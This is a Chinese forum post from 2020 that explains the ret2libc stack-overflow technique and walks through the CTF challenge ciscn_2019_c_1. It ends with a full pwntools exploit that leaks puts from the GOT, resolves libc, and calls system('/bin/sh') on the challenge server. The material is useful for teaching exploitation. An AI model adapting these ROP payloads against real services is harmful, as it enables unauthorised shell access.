搜索
    Hi~登录注册
    查看: 105|回复: 0
    收起左侧

    有关ret2libc利用方法的整理

    [复制链接]

    18

    主题

    3

    精华

    84 小时

    在线时间

    荣誉会员

    Rank: 8Rank: 8

    积分
    59
    发表于 2020-5-30 21:10:12 | 显示全部楼层 |阅读模式

    ] 本帖最后由 QwQ 于 2020-5-30 09:23 PM 编辑 [/i]

    [md]ret2libc是栈溢出漏洞利用的一种常见手段。这种漏洞利用方式结合了很多利用方法及系统机制,如ROP技术、linux延迟绑定机制等。本文结合近期练习的几道ret2libc漏洞CTF题目,归纳其利用的过程。

    原理

    ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。首先先解释一下上面出现的一些名词。

    libc是啥?

    libc 是 Linux 下的 ANSI C 函数库。是C语言最基本的库函数。可以把它理解为可执行程序的运行依赖。

    PLT&GOT

    linux下的动态链接是通过PLT&GOT来实现的,动态链接每个函数需要两个东西:

    1. 用来存放外部函数地址的数据段
    2. 用来获取数据段记录的外部函数地址的代码

    对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表(GOT, Global Offset Table),那个存放额外代码的表称为程序链接表(PLT,Procedure Link Table)

    1.jpeg

    可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址

    那我们可以发现,在这里面想要通过 plt 表获取函数的地址,首先要保证 got 表已经获取了正确的地址,但是在一开始就进行所有函数的重定位是比较麻烦的,为此,linux 引入了延迟绑定机制

    延迟绑定机制

    只有动态库函数在被调用时,才会地址解析和重定位工作。简单来讲,在一个binary运行的过程中,只有真正运行过的函数才真正被调用真实地址运行。当一个功能模块未被加载使用的时候,比如准备调用一个函数,会通过先在PLT表找到记录相对的GOT表项的内容,即可跳转真实地址运行调用函数。也就是所谓的地址解析和重定位。

    一个实例

    在上面整理了相关的理论原理,通过下面的这道题目来对应实践上述内容。这个binary来自BUUOJ的ciscn_2019_c_1难度不大,刚刚好是re2libc的利用漏洞。

    18.png

    程序根据不同的选项有不同的功能,载入ida中查看一下:

    19.png

    可以看到在encrypt函数内存在栈溢出漏洞。对应程序的功能选项则为1选项。

    20.png

    但是这里的算法会将我们输入的内容加密处理,这样我们构造payload时就无法直接实现我们攻击流程。所以第一步需要对这个算法进行处理。在这个算法中注意到strlen函数,这个函数的主要特性如下:strlen所作的是一个计数器的工作,它从内存的某个位置(可以是字符串开头,中间某个位置,甚至是某个不确定的内存区域)开始扫描,直到碰到第一个字符串结束符'\0'为止,然后返回计数器值(长度不包含'\0')。因此在这里我们只需要在payload开始的部分加入'\0'字符即可完成绕过。

    还有一个需要注意的点就是,程序远程运行在乌班图18.04的环境下,因此在构造系统调用时需要使用ret先对齐。

    利用思路

    1.在漏洞函数输入前,有这样一段内容puts("Input your Plaintext to be encrypted");所以puts函数在我们输入前就已将运行完一遍了,因此可以尝试泄露这个函数的地址来获取目标系统中使用的libc版本。因此构造第一段payload,泄露这个puts函数的地址。payload如下:

    
    payload = '\0' + (0x50-1 + 8)*'a' + p64(pop_rdi) + p64(puts_got)
    
    payload+= p64(puts_plt) + p64(main) 
    

    首先就是用\0绕过加密算法,在补齐构造栈溢出的无用字符a,溢出后接ROP链再通过puts函数的plt表地址和got表地址泄露出puts真实的地址。最后在跳转回程序的开始,接第二段payload。

    2.完成泄露后,使用 LibcSearcher 模块link出来libc基地址,并进一步通过libc基地址加偏移的方法找到libc中的system地址及/bin/sh地址从而完成系统调用。代码如下:

    
    libc = LibcSearcher('puts',puts)
    
    libc_addr=puts-libc.dump('puts')
    
    binsh=libc_addr+libc.dump('str_bin_sh')
    
    system=libc_addr+libc.dump('system')
    

    3.构造第二次payload,这次为系统调用。将上一步骤中link出来的一些地址构造入payload中:

    
    payload1 = '\0'+(0x50-1+8)* "b" + p64(ret_addr) + p64(pop_rdi) 
    
    payload1+= p64(binsh) + p64(system)
    

    溢出后跳转到system(/bin/sh)从而完成系统调用,我想这里就不需要解释了。

    完整exp

    
     from pwn import * 
    
    from LibcSearcher import LibcSearcher
    
    context.os='linux'
    
    context.arch='amd64'
    
    context.log_level='debug'
    
    elf = ELF("./6")
    
    puts_plt = elf.plt["puts"]
    
    puts_got = elf.got["puts"]
    
    main = elf.symbols["main"]
    
    pop_rdi = 0x400c83
    
    ret_addr = 0x4006b9
    
    def get64addr():
    
        return u64(io.recvuntil('\n')[:-1].ljust(8,'\0'))
    
    #io = process('./6')
    
    io=remote('node3.buuoj.cn',29305)
    
    io.sendlineafter("choice!\n","1")
    
    payload = '\0' + (0x50-1 + 8)*'a' + p64(pop_rdi) + p64(puts_got)
    
    payload+= p64(puts_plt) + p64(main) 
    
    io.sendlineafter('encrypted\n',payload)
    
    io.recvline()
    
    io.recvline()
    
    puts = get64addr()
    
    print hex(puts)
    
    libc = LibcSearcher('puts',puts)
    
    libc_addr=puts-libc.dump('puts')
    
    binsh=libc_addr+libc.dump('str_bin_sh')
    
    system=libc_addr+libc.dump('system')
    
    io.sendlineafter('choice!\n','1')
    
    payload1 = '\0'+(0x50-1+8)* "b" + p64(ret_addr) + p64(pop_rdi) 
    
    payload1+= p64(binsh) + p64(system)
    
    io.sendlineafter('encrypted\n',payload1)
    
    io.interactive()
    
    

    总结

    通过示例程序我们可以直观的看到,ret2libc的利用过程,其中,包含了对PLT表及GOT表来完成地址泄露,并通过泄露的地址判断libc版本,从而进一步link出libc的基地址及与其相对偏移的系统调用参数地址。最终完成了系统调用。

    回复

    使用道具 举报

    游客
    回复
    您需要登录后才可以回帖 登录 | 获取账号

    快速回复 返回顶部 返回列表